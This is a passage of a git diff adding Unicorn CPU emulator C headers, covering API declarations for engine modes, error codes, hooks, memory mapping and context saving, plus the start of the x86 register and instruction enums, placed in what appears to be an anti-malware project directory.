ARM (currently unsupported) + + // arm (32bit) cpu types + UC_MODE_ARM926 = 1 << 7, // ARM926 CPU type + UC_MODE_ARM946 = 1 << 8, // ARM946 CPU type + UC_MODE_ARM1176 = 1 << 9, // ARM1176 CPU type + + // mips + UC_MODE_MICRO = 1 << 4, // MicroMips mode (currently unsupported) + UC_MODE_MIPS3 = 1 << 5, // Mips III ISA (currently unsupported) + UC_MODE_MIPS32R6 = 1 << 6, // Mips32r6 ISA (currently unsupported) + UC_MODE_MIPS32 = 1 << 2, // Mips32 ISA + UC_MODE_MIPS64 = 1 << 3, // Mips64 ISA + + // x86 / x64 + UC_MODE_16 = 1 << 1, // 16-bit mode + UC_MODE_32 = 1 << 2, // 32-bit mode + UC_MODE_64 = 1 << 3, // 64-bit mode + + // ppc + UC_MODE_PPC32 = 1 << 2, // 32-bit mode (currently unsupported) + UC_MODE_PPC64 = 1 << 3, // 64-bit mode (currently unsupported) + UC_MODE_QPX = 1 << 4, // Quad Processing eXtensions mode (currently unsupported) + + // sparc + UC_MODE_SPARC32 = 1 << 2, // 32-bit mode + UC_MODE_SPARC64 = 1 << 3, // 64-bit mode + UC_MODE_V9 = 1 << 4, // SparcV9 mode (currently unsupported) + + // m68k +} uc_mode; + +// All type of errors encountered by Unicorn API. +// These are values returned by uc_errno() +typedef enum uc_err { + UC_ERR_OK = 0, // No error: everything was fine + UC_ERR_NOMEM, // Out-Of-Memory error: uc_open(), uc_emulate() + UC_ERR_ARCH, // Unsupported architecture: uc_open() + UC_ERR_HANDLE, // Invalid handle + UC_ERR_MODE, // Invalid/unsupported mode: uc_open() + UC_ERR_VERSION, // Unsupported version (bindings) + UC_ERR_READ_UNMAPPED, // Quit emulation due to READ on unmapped memory: uc_emu_start() + UC_ERR_WRITE_UNMAPPED, // Quit emulation due to WRITE on unmapped memory: uc_emu_start() + UC_ERR_FETCH_UNMAPPED, // Quit emulation due to FETCH on unmapped memory: uc_emu_start() + UC_ERR_HOOK, // Invalid hook type: uc_hook_add() + UC_ERR_INSN_INVALID, // Quit emulation due to invalid instruction: uc_emu_start() + UC_ERR_MAP, // Invalid memory mapping: uc_mem_map() + UC_ERR_WRITE_PROT, // Quit emulation due to UC_MEM_WRITE_PROT violation: uc_emu_start() + UC_ERR_READ_PROT, // Quit emulation due to UC_MEM_READ_PROT violation: uc_emu_start() + UC_ERR_FETCH_PROT, // Quit emulation due to UC_MEM_FETCH_PROT violation: uc_emu_start() + UC_ERR_ARG, // Inavalid argument provided to uc_xxx function (See specific function API) + UC_ERR_READ_UNALIGNED, // Unaligned read + UC_ERR_WRITE_UNALIGNED, // Unaligned write + UC_ERR_FETCH_UNALIGNED, // Unaligned fetch + UC_ERR_HOOK_EXIST, // hook for this event already existed + UC_ERR_RESOURCE, // Insufficient resource: uc_emu_start() + UC_ERR_EXCEPTION, // Unhandled CPU exception +} uc_err; + + +/* + Callback function for tracing code (UC_HOOK_CODE & UC_HOOK_BLOCK) + + @address: address where the code is being executed + @size: size of machine instruction(s) being executed, or 0 when size is unknown + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookcode_t)(uc_engine *uc, uint64_t address, uint32_t size, void *user_data); + +/* + Callback function for tracing interrupts (for uc_hook_intr()) + + @intno: interrupt number + @user_data: user data passed to tracing APIs. +*/ +typedef void (*uc_cb_hookintr_t)(uc_engine *uc, uint32_t intno, void *user_data); + +/* + Callback function for tracing invalid instructions + + @user_data: user data passed to tracing APIs. + + @return: return true to continue, or false to stop program (due to invalid instruction). +*/ +typedef bool (*uc_cb_hookinsn_invalid_t)(uc_engine *uc, void *user_data); + +/* + Callback function for tracing IN instruction of X86 + + @port: port number + @size: data size (1/2/4) to be read from this port + @user_data: user data passed to tracing APIs. +*/ +typedef uint32_t (*uc_cb_insn_in_t)(uc_engine *uc, uint32_t port, int size, void *user_data); + +/* + Callback function for OUT instruction of X86 + + @port: port number + @size: data size (1/2/4) to be written to this port + @value: data value to be written to this port +*/ +typedef void (*uc_cb_insn_out_t)(uc_engine *uc, uint32_t port, int size, uint32_t value, void *user_data); + +// All type of memory accesses for UC_HOOK_MEM_* +typedef enum uc_mem_type { + UC_MEM_READ = 16, // Memory is read from + UC_MEM_WRITE, // Memory is written to + UC_MEM_FETCH, // Memory is fetched + UC_MEM_READ_UNMAPPED, // Unmapped memory is read from + UC_MEM_WRITE_UNMAPPED, // Unmapped memory is written to + UC_MEM_FETCH_UNMAPPED, // Unmapped memory is fetched + UC_MEM_WRITE_PROT, // Write to write protected, but mapped, memory + UC_MEM_READ_PROT, // Read from read protected, but mapped, memory + UC_MEM_FETCH_PROT, // Fetch from non-executable, but mapped, memory + UC_MEM_READ_AFTER, // Memory is read from (successful access) +} uc_mem_type; + +// All type of hooks for uc_hook_add() API. +typedef enum uc_hook_type { + // Hook all interrupt/syscall events + UC_HOOK_INTR = 1 << 0, + // Hook a particular instruction - only a very small subset of instructions supported here + UC_HOOK_INSN = 1 << 1, + // Hook a range of code + UC_HOOK_CODE = 1 << 2, + // Hook basic blocks + UC_HOOK_BLOCK = 1 << 3, + // Hook for memory read on unmapped memory + UC_HOOK_MEM_READ_UNMAPPED = 1 << 4, + // Hook for invalid memory write events + UC_HOOK_MEM_WRITE_UNMAPPED = 1 << 5, + // Hook for invalid memory fetch for execution events + UC_HOOK_MEM_FETCH_UNMAPPED = 1 << 6, + // Hook for memory read on read-protected memory + UC_HOOK_MEM_READ_PROT = 1 << 7, + // Hook for memory write on write-protected memory + UC_HOOK_MEM_WRITE_PROT = 1 << 8, + // Hook for memory fetch on non-executable memory + UC_HOOK_MEM_FETCH_PROT = 1 << 9, + // Hook memory read events. + UC_HOOK_MEM_READ = 1 << 10, + // Hook memory write events. + UC_HOOK_MEM_WRITE = 1 << 11, + // Hook memory fetch for execution events + UC_HOOK_MEM_FETCH = 1 << 12, + // Hook memory read events, but only successful access. + // The callback will be triggered after successful read. + UC_HOOK_MEM_READ_AFTER = 1 << 13, + // Hook invalid instructions exceptions. + UC_HOOK_INSN_INVALID = 1 << 14, +} uc_hook_type; + +// Hook type for all events of unmapped memory access +#define UC_HOOK_MEM_UNMAPPED (UC_HOOK_MEM_READ_UNMAPPED + UC_HOOK_MEM_WRITE_UNMAPPED + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal protected memory access +#define UC_HOOK_MEM_PROT (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_FETCH_PROT) +// Hook type for all events of illegal read memory access +#define UC_HOOK_MEM_READ_INVALID (UC_HOOK_MEM_READ_PROT + UC_HOOK_MEM_READ_UNMAPPED) +// Hook type for all events of illegal write memory access +#define UC_HOOK_MEM_WRITE_INVALID (UC_HOOK_MEM_WRITE_PROT + UC_HOOK_MEM_WRITE_UNMAPPED) +// Hook type for all events of illegal fetch memory access +#define UC_HOOK_MEM_FETCH_INVALID (UC_HOOK_MEM_FETCH_PROT + UC_HOOK_MEM_FETCH_UNMAPPED) +// Hook type for all events of illegal memory access +#define UC_HOOK_MEM_INVALID (UC_HOOK_MEM_UNMAPPED + UC_HOOK_MEM_PROT) +// Hook type for all events of valid memory access +// NOTE: UC_HOOK_MEM_READ is triggered before UC_HOOK_MEM_READ_PROT and UC_HOOK_MEM_READ_UNMAPPED, so +// this hook may technically trigger on some invalid reads. +#define UC_HOOK_MEM_VALID (UC_HOOK_MEM_READ + UC_HOOK_MEM_WRITE + UC_HOOK_MEM_FETCH) + +/* + Callback function for hooking memory (READ, WRITE & FETCH) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs +*/ +typedef void (*uc_cb_hookmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Callback function for handling invalid memory access events (UNMAPPED and + PROT events) + + @type: this memory is being READ, or WRITE + @address: address where the code is being executed + @size: size of data being read or written + @value: value of data being written to memory, or irrelevant if type = READ. + @user_data: user data passed to tracing APIs + + @return: return true to continue, or false to stop program (due to invalid memory). + NOTE: returning true to continue execution will only work if the accessed + memory is made accessible with the correct permissions during the hook. + + In the event of a UC_MEM_READ_UNMAPPED or UC_MEM_WRITE_UNMAPPED callback, + the memory should be uc_mem_map()-ed with the correct permissions, and the + instruction will then read or write to the address as it was supposed to. + + In the event of a UC_MEM_FETCH_UNMAPPED callback, the memory can be mapped + in as executable, in which case execution will resume from the fetched address. + The instruction pointer may be written to in order to change where execution resumes, + but the fetch must succeed if execution is to resume. +*/ +typedef bool (*uc_cb_eventmem_t)(uc_engine *uc, uc_mem_type type, + uint64_t address, int size, int64_t value, void *user_data); + +/* + Memory region mapped by uc_mem_map() and uc_mem_map_ptr() + Retrieve the list of memory regions with uc_mem_regions() +*/ +typedef struct uc_mem_region { + uint64_t begin; // begin address of the region (inclusive) + uint64_t end; // end address of the region (inclusive) + uint32_t perms; // memory permissions of the region +} uc_mem_region; + +// All type of queries for uc_query() API. +typedef enum uc_query_type { + // Dynamically query current hardware mode. + UC_QUERY_MODE = 1, + UC_QUERY_PAGE_SIZE, // query pagesize of engine + UC_QUERY_ARCH, // query architecture of engine (for ARM to query Thumb mode) + UC_QUERY_TIMEOUT, // query if emulation stops due to timeout (indicated if result = True) +} uc_query_type; + +// Opaque storage for CPU context, used with uc_context_*() +struct uc_context; +typedef struct uc_context uc_context; + +/* + Return combined API version & major and minor version numbers. + + @major: major number of API version + @minor: minor number of API version + + @return hexical number as (major << 8 | minor), which encodes both + major & minor versions. + NOTE: This returned value can be compared with version number made + with macro UC_MAKE_VERSION + + For example, second API version would return 1 in @major, and 1 in @minor + The return value would be 0x0101 + + NOTE: if you only care about returned value, but not major and minor values, + set both @major & @minor arguments to NULL. +*/ +UNICORN_EXPORT +unsigned int uc_version(unsigned int *major, unsigned int *minor); + + +/* + Determine if the given architecture is supported by this library. + + @arch: architecture type (UC_ARCH_*) + + @return True if this library supports the given arch. +*/ +UNICORN_EXPORT +bool uc_arch_supported(uc_arch arch); + + +/* + Create new instance of unicorn engine. + + @arch: architecture type (UC_ARCH_*) + @mode: hardware mode. This is combined of UC_MODE_* + @uc: pointer to uc_engine, which will be updated at return time + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_open(uc_arch arch, uc_mode mode, uc_engine **uc); + +/* + Close a Unicorn engine instance. + NOTE: this must be called only when there is no longer any + usage of @uc. This API releases some of @uc's cached memory, thus + any use of the Unicorn API with @uc after it has been closed may + crash your application. After this, @uc is invalid, and is no + longer usable. + + @uc: pointer to a handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_close(uc_engine *uc); + +/* + Query internal status of engine. + + @uc: handle returned by uc_open() + @type: query type. See uc_query_type + + @result: save the internal status queried + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_query(uc_engine *uc, uc_query_type type, size_t *result); + +/* + Report the last error number when some API function fails. + Like glibc's errno, uc_errno might not retain its old value once accessed. + + @uc: handle returned by uc_open() + + @return: error code of uc_err enum type (UC_ERR_*, see above) +*/ +UNICORN_EXPORT +uc_err uc_errno(uc_engine *uc); + +/* + Return a string describing given error code. + + @code: error code (see UC_ERR_* above) + + @return: returns a pointer to a string that describes the error code + passed in the argument @code + */ +UNICORN_EXPORT +const char *uc_strerror(uc_err code); + +/* + Write to register. + + @uc: handle returned by uc_open() + @regid: register ID that is to be modified. + @value: pointer to the value that will set to register @regid + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write(uc_engine *uc, int regid, const void *value); + +/* + Read register value. + + @uc: handle returned by uc_open() + @regid: register ID that is to be retrieved. + @value: pointer to a variable storing the register value. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read(uc_engine *uc, int regid, void *value); + +/* + Write multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to store + @value: pointer to array of register values + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_write_batch(uc_engine *uc, int *regs, void *const *vals, int count); + +/* + Read multiple register values. + + @uc: handle returned by uc_open() + @rges: array of register IDs to retrieve + @value: pointer to array of values to hold registers + @count: length of both *regs and *vals + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_reg_read_batch(uc_engine *uc, int *regs, void **vals, int count); + +/* + Write to a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to set. + @bytes: pointer to a variable containing data to be written to memory. + @size: size of memory to write to. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_write(uc_engine *uc, uint64_t address, const void *bytes, size_t size); + +/* + Read a range of bytes in memory. + + @uc: handle returned by uc_open() + @address: starting memory address of bytes to get. + @bytes: pointer to a variable containing data copied from memory. + @size: size of memory to read. + + NOTE: @bytes must be big enough to contain @size bytes. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_read(uc_engine *uc, uint64_t address, void *bytes, size_t size); + +/* + Emulate machine code in a specific duration of time. + + @uc: handle returned by uc_open() + @begin: address where emulation starts + @until: address where emulation stops (i.e. when this address is hit) + @timeout: duration to emulate the code (in microseconds). When this value is 0, + we will emulate the code in infinite time, until the code is finished. + @count: the number of instructions to be emulated. When this value is 0, + we will emulate all the code available, until the code is finished. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_start(uc_engine *uc, uint64_t begin, uint64_t until, uint64_t timeout, size_t count); + +/* + Stop emulation (which was started by uc_emu_start() API. + This is typically called from callback functions registered via tracing APIs. + + @uc: handle returned by uc_open() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_emu_stop(uc_engine *uc); + +/* + Register callback for a hook event. + The callback will be run when the hook event is hit. + + @uc: handle returned by uc_open() + @hh: hook handle returned from this registration. To be used in uc_hook_del() API + @type: hook type, refer to uc_hook_type enum + @callback: callback to be run when instruction is hit + @user_data: user-defined data. This will be passed to callback function in its + last argument @user_data + @begin: start address of the area where the callback is in effect (inclusive) + @end: end address of the area where the callback is in effect (inclusive) + NOTE 1: the callback is called only if related address is in range [@begin, @end] + NOTE 2: if @begin > @end, callback is called whenever this hook type is triggered + @...: variable arguments (depending on @type) + NOTE: if @type = UC_HOOK_INSN, this is the instruction ID (ex: UC_X86_INS_OUT) + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_add(uc_engine *uc, uc_hook *hh, int type, void *callback, + void *user_data, uint64_t begin, uint64_t end, ...); + +/* + Unregister (remove) a hook callback. + This API removes the hook callback registered by uc_hook_add(). + NOTE: this should be called only when you no longer want to trace. + After this, @hh is invalid, and no longer usable. + + @uc: handle returned by uc_open() + @hh: handle returned by uc_hook_add() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_hook_del(uc_engine *uc, uc_hook hh); + +typedef enum uc_prot { + UC_PROT_NONE = 0, + UC_PROT_READ = 1, + UC_PROT_WRITE = 2, + UC_PROT_EXEC = 4, + UC_PROT_ALL = 7, +} uc_prot; + +/* + Map memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be a multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Map existing host memory in for emulation. + This API adds a memory region that can be used by emulation. + + @uc: handle returned by uc_open() + @address: starting address of the new memory region to be mapped in. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the new memory region to be mapped in. + This size must be a multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: Permissions for the newly mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + @ptr: pointer to host memory backing the newly mapped memory. This host memory is + expected to be of equal or larger size than provided, and be mapped with at + least PROT_READ | PROT_WRITE. If it is not, the resulting behavior is undefined. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_map_ptr(uc_engine *uc, uint64_t address, size_t size, uint32_t perms, void *ptr); + +/* + Unmap a region of emulation memory. + This API deletes a memory mapping from the emulation memory space. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be unmapped. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be a multiple of 4KB, or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_unmap(uc_engine *uc, uint64_t address, size_t size); + +/* + Set memory permissions for emulation memory. + This API changes permissions on an existing memory region. + + @uc: handle returned by uc_open() + @address: starting address of the memory region to be modified. + This address must be aligned to 4KB, or this will return with UC_ERR_ARG error. + @size: size of the memory region to be modified. + This size must be a multiple of 4KB, or this will return with UC_ERR_ARG error. + @perms: New permissions for the mapped region. + This must be some combination of UC_PROT_READ | UC_PROT_WRITE | UC_PROT_EXEC, + or this will return with UC_ERR_ARG error. + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_protect(uc_engine *uc, uint64_t address, size_t size, uint32_t perms); + +/* + Retrieve all memory regions mapped by uc_mem_map() and uc_mem_map_ptr() + This API allocates memory for @regions, and user must free this memory later + by uc_free() to avoid leaking memory. + NOTE: memory regions may be split by uc_mem_unmap() + + @uc: handle returned by uc_open() + @regions: pointer to an array of uc_mem_region struct. This is allocated by + Unicorn, and must be freed by user later with uc_free() + @count: pointer to number of struct uc_mem_region contained in @regions + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_mem_regions(uc_engine *uc, uc_mem_region **regions, uint32_t *count); + +/* + Allocate a region that can be used with uc_context_{save,restore} to perform + quick save/rollback of the CPU context, which includes registers and some + internal metadata. Contexts may not be shared across engine instances with + differing arches or modes. + + @uc: handle returned by uc_open() + @context: pointer to a uc_context*. This will be updated with the pointer to + the new context on successful return of this function. + Later, this allocated memory must be freed with uc_context_free(). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_alloc(uc_engine *uc, uc_context **context); + +/* + Free the memory allocated by uc_mem_regions. + WARNING: After Unicorn 1.0.1rc5, the memory allocated by uc_context_alloc should + be freed by uc_context_free(). Calling uc_free() may still work, but the result + is **undefined**. + + @mem: memory allocated by uc_mem_regions (returned in *regions). + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_free(void *mem); + +/* + Save a copy of the internal CPU context. + This API should be used to efficiently make or update a saved copy of the + internal CPU state. + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_save(uc_engine *uc, uc_context *context); + +/* + Restore the current CPU context from a saved copy. + This API should be used to roll the CPU context back to a previous + state saved by uc_context_save(). + + @uc: handle returned by uc_open() + @context: handle returned by uc_context_alloc that has been used with uc_context_save + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_restore(uc_engine *uc, uc_context *context); + + +/* + Return the size needed to store the cpu context. Can be used to allocate a buffer + to contain the cpu context and directly call uc_context_save. + + @uc: handle returned by uc_open() + + @return the size for needed to store the cpu context as as size_t. +*/ +UNICORN_EXPORT +size_t uc_context_size(uc_engine *uc); + + +/* + Free the context allocated by uc_context_alloc(). + + @context: handle returned by uc_context_alloc() + + @return UC_ERR_OK on success, or other value on failure (refer to uc_err enum + for detailed error). +*/ +UNICORN_EXPORT +uc_err uc_context_free(uc_context *context); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/include/unicorn/x86.h b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/x86.h new file mode 100644 index 0000000..cd2c66d --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/include/unicorn/x86.h @@ -0,0 +1,1446 @@ +/* Unicorn Emulator Engine */ +/* By Nguyen Anh Quynh <aquynh@gmail.com>, 2015-2017 */ +/* This file is released under LGPL2. + See COPYING.LGPL2 in root directory for more details +*/ + +#ifndef UNICORN_X86_H +#define UNICORN_X86_H + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +// Memory-Management Register for instructions IDTR, GDTR, LDTR, TR. +// Borrow from SegmentCache in qemu/target-i386/cpu.h +typedef struct uc_x86_mmr { + uint16_t selector; /* not used by GDTR and IDTR */ + uint64_t base; /* handle 32 or 64 bit CPUs */ + uint32_t limit; + uint32_t flags; /* not used by GDTR and IDTR */ +} uc_x86_mmr; + +// Model-Specific Register structure, use this with UC_X86_REG_MSR (as the register ID) in +// call to uc_reg_write/uc_reg_read() to manipulate MSRs. +typedef struct uc_x86_msr { + uint32_t rid; // MSR id + uint64_t value; // MSR value +} uc_x86_msr; + +// Callback function for tracing SYSCALL/SYSENTER (for uc_hook_intr()) +// @user_data: user data passed to tracing APIs. +typedef void (*uc_cb_insn_syscall_t)(struct uc_struct *uc, void *user_data); + +//> X86 registers +typedef enum uc_x86_reg { + UC_X86_REG_INVALID = 0, + UC_X86_REG_AH, UC_X86_REG_AL, UC_X86_REG_AX, UC_X86_REG_BH, UC_X86_REG_BL, + UC_X86_REG_BP, UC_X86_REG_BPL, UC_X86_REG_BX, UC_X86_REG_CH, UC_X86_REG_CL, + UC_X86_REG_CS, UC_X86_REG_CX, UC_X86_REG_DH, UC_X86_REG_DI, UC_X86_REG_DIL, + UC_X86_REG_DL, UC_X86_REG_DS, UC_X86_REG_DX, UC_X86_REG_EAX, UC_X86_REG_EBP, + UC_X86_REG_EBX, UC_X86_REG_ECX, UC_X86_REG_EDI, UC_X86_REG_EDX, UC_X86_REG_EFLAGS, + UC_X86_REG_EIP, UC_X86_REG_EIZ, UC_X86_REG_ES, UC_X86_REG_ESI, UC_X86_REG_ESP, + UC_X86_REG_FPSW, UC_X86_REG_FS, UC_X86_REG_GS, UC_X86_REG_IP, UC_X86_REG_RAX, + UC_X86_REG_RBP, UC_X86_REG_RBX, UC_X86_REG_RCX, UC_X86_REG_RDI, UC_X86_REG_RDX, + UC_X86_REG_RIP, UC_X86_REG_RIZ, UC_X86_REG_RSI, UC_X86_REG_RSP, UC_X86_REG_SI, + UC_X86_REG_SIL, UC_X86_REG_SP, UC_X86_REG_SPL, UC_X86_REG_SS, UC_X86_REG_CR0, + UC_X86_REG_CR1, UC_X86_REG_CR2, UC_X86_REG_CR3, UC_X86_REG_CR4, UC_X86_REG_CR5, + UC_X86_REG_CR6, UC_X86_REG_CR7, UC_X86_REG_CR8, UC_X86_REG_CR9, UC_X86_REG_CR10, + UC_X86_REG_CR11, UC_X86_REG_CR12, UC_X86_REG_CR13, UC_X86_REG_CR14, UC_X86_REG_CR15, + UC_X86_REG_DR0, UC_X86_REG_DR1, UC_X86_REG_DR2, UC_X86_REG_DR3, UC_X86_REG_DR4, + UC_X86_REG_DR5, UC_X86_REG_DR6, UC_X86_REG_DR7, UC_X86_REG_DR8, UC_X86_REG_DR9, + UC_X86_REG_DR10, UC_X86_REG_DR11, UC_X86_REG_DR12, UC_X86_REG_DR13, UC_X86_REG_DR14, + UC_X86_REG_DR15, UC_X86_REG_FP0, UC_X86_REG_FP1, UC_X86_REG_FP2, UC_X86_REG_FP3, + UC_X86_REG_FP4, UC_X86_REG_FP5, UC_X86_REG_FP6, UC_X86_REG_FP7, + UC_X86_REG_K0, UC_X86_REG_K1, UC_X86_REG_K2, UC_X86_REG_K3, UC_X86_REG_K4, + UC_X86_REG_K5, UC_X86_REG_K6, UC_X86_REG_K7, UC_X86_REG_MM0, UC_X86_REG_MM1, + UC_X86_REG_MM2, UC_X86_REG_MM3, UC_X86_REG_MM4, UC_X86_REG_MM5, UC_X86_REG_MM6, + UC_X86_REG_MM7, UC_X86_REG_R8, UC_X86_REG_R9, UC_X86_REG_R10, UC_X86_REG_R11, + UC_X86_REG_R12, UC_X86_REG_R13, UC_X86_REG_R14, UC_X86_REG_R15, + UC_X86_REG_ST0, UC_X86_REG_ST1, UC_X86_REG_ST2, UC_X86_REG_ST3, + UC_X86_REG_ST4, UC_X86_REG_ST5, UC_X86_REG_ST6, UC_X86_REG_ST7, + UC_X86_REG_XMM0, UC_X86_REG_XMM1, UC_X86_REG_XMM2, UC_X86_REG_XMM3, UC_X86_REG_XMM4, + UC_X86_REG_XMM5, UC_X86_REG_XMM6, UC_X86_REG_XMM7, UC_X86_REG_XMM8, UC_X86_REG_XMM9, + UC_X86_REG_XMM10, UC_X86_REG_XMM11, UC_X86_REG_XMM12, UC_X86_REG_XMM13, UC_X86_REG_XMM14, + UC_X86_REG_XMM15, UC_X86_REG_XMM16, UC_X86_REG_XMM17, UC_X86_REG_XMM18, UC_X86_REG_XMM19, + UC_X86_REG_XMM20, UC_X86_REG_XMM21, UC_X86_REG_XMM22, UC_X86_REG_XMM23, UC_X86_REG_XMM24, + UC_X86_REG_XMM25, UC_X86_REG_XMM26, UC_X86_REG_XMM27, UC_X86_REG_XMM28, UC_X86_REG_XMM29, + UC_X86_REG_XMM30, UC_X86_REG_XMM31, UC_X86_REG_YMM0, UC_X86_REG_YMM1, UC_X86_REG_YMM2, + UC_X86_REG_YMM3, UC_X86_REG_YMM4, UC_X86_REG_YMM5, UC_X86_REG_YMM6, UC_X86_REG_YMM7, + UC_X86_REG_YMM8, UC_X86_REG_YMM9, UC_X86_REG_YMM10, UC_X86_REG_YMM11, UC_X86_REG_YMM12, + UC_X86_REG_YMM13, UC_X86_REG_YMM14, UC_X86_REG_YMM15, UC_X86_REG_YMM16, UC_X86_REG_YMM17, + UC_X86_REG_YMM18, UC_X86_REG_YMM19, UC_X86_REG_YMM20, UC_X86_REG_YMM21, UC_X86_REG_YMM22, + UC_X86_REG_YMM23, UC_X86_REG_YMM24, UC_X86_REG_YMM25, UC_X86_REG_YMM26, UC_X86_REG_YMM27, + UC_X86_REG_YMM28, UC_X86_REG_YMM29, UC_X86_REG_YMM30, UC_X86_REG_YMM31, UC_X86_REG_ZMM0, + UC_X86_REG_ZMM1, UC_X86_REG_ZMM2, UC_X86_REG_ZMM3, UC_X86_REG_ZMM4, UC_X86_REG_ZMM5, + UC_X86_REG_ZMM6, UC_X86_REG_ZMM7, UC_X86_REG_ZMM8, UC_X86_REG_ZMM9, UC_X86_REG_ZMM10, + UC_X86_REG_ZMM11, UC_X86_REG_ZMM12, UC_X86_REG_ZMM13, UC_X86_REG_ZMM14, UC_X86_REG_ZMM15, + UC_X86_REG_ZMM16, UC_X86_REG_ZMM17, UC_X86_REG_ZMM18, UC_X86_REG_ZMM19, UC_X86_REG_ZMM20, + UC_X86_REG_ZMM21, UC_X86_REG_ZMM22, UC_X86_REG_ZMM23, UC_X86_REG_ZMM24, UC_X86_REG_ZMM25, + UC_X86_REG_ZMM26, UC_X86_REG_ZMM27, UC_X86_REG_ZMM28, UC_X86_REG_ZMM29, UC_X86_REG_ZMM30, + UC_X86_REG_ZMM31, UC_X86_REG_R8B, UC_X86_REG_R9B, UC_X86_REG_R10B, UC_X86_REG_R11B, + UC_X86_REG_R12B, UC_X86_REG_R13B, UC_X86_REG_R14B, UC_X86_REG_R15B, UC_X86_REG_R8D, + UC_X86_REG_R9D, UC_X86_REG_R10D, UC_X86_REG_R11D, UC_X86_REG_R12D, UC_X86_REG_R13D, + UC_X86_REG_R14D, UC_X86_REG_R15D, UC_X86_REG_R8W, UC_X86_REG_R9W, UC_X86_REG_R10W, + UC_X86_REG_R11W, UC_X86_REG_R12W, UC_X86_REG_R13W, UC_X86_REG_R14W, UC_X86_REG_R15W, + UC_X86_REG_IDTR, UC_X86_REG_GDTR, UC_X86_REG_LDTR, UC_X86_REG_TR, UC_X86_REG_FPCW, + UC_X86_REG_FPTAG, + UC_X86_REG_MSR, // Model-Specific Register + UC_X86_REG_MXCSR, + UC_X86_REG_FS_BASE, // Base regs for x86_64 + UC_X86_REG_GS_BASE, + UC_X86_REG_ENDING // <-- mark the end of the list of registers +} uc_x86_reg; + +//> X86 instructions +typedef enum uc_x86_insn { + UC_X86_INS_INVALID = 0, + + UC_X86_INS_AAA, + UC_X86_INS_AAD, + UC_X86_INS_AAM, + UC_X86_INS_AAS, + UC_X86_INS_FABS, + UC_X86_INS_ADC, 